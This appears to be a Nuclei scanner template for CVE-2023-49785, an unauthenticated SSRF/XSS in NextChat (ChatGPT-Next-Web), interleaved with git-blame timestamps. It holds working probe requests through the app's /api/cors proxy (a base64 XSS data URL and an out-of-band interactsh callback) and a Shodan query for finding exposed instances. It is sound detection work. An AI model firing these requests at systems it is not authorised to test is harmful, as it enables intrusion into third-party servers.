2024-03-11 14:38:40 +00:00
|
|
|
id: CVE-2023-49785
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ChatGPT-Next-Web - SSRF/XSS
|
2024-03-12 05:26:29 +00:00
|
|
|
author: high
|
2024-03-11 14:38:40 +00:00
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
|
|
|
|
remediation: |
|
|
|
|
Do not expose to the Internet
|
|
|
|
reference:
|
|
|
|
- https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
|
2024-03-11 15:34:33 +00:00
|
|
|
- https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
|
2024-03-11 14:38:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
|
|
cvss-score: 9.1
|
|
|
|
cve-id: CVE-2023-49785
|
2024-03-23 09:28:19 +00:00
|
|
|
cwe-id: CWE-79
|
|
|
|
epss-score: 0.00049
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-percentile: 0.17861
|
2024-03-11 14:38:40 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2024-03-23 09:28:19 +00:00
|
|
|
max-request: 2
|
|
|
|
shodan-query: "title:NextChat,\"ChatGPT Next Web\""
|
2024-03-11 14:38:40 +00:00
|
|
|
tags: cve,cve2023,ssrf,xss,chatgpt,nextchat
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
|
|
|
|
- "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"
|
|
|
|
|
|
|
|
matchers-condition: or
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- contains(body_1, "<script>alert(document.domain)</script>")
|
|
|
|
- contains(header_1, "text/html")
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- contains(header_2,'X-Interactsh-Version')
|
|
|
|
- contains(interactsh_protocol_2,'dns')
|
|
|
|
condition: and
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4a0a0047304502200f5f4fba67fb181f704f72f18c9db6666aa2ff4859a5509c3338dba108adaf28022100ad3687eb82d2a9dfe75eb024c74ec79198c01a339f73d1c40b0420240c68dfae:922c64590222798bb761d5b6d8e72950
|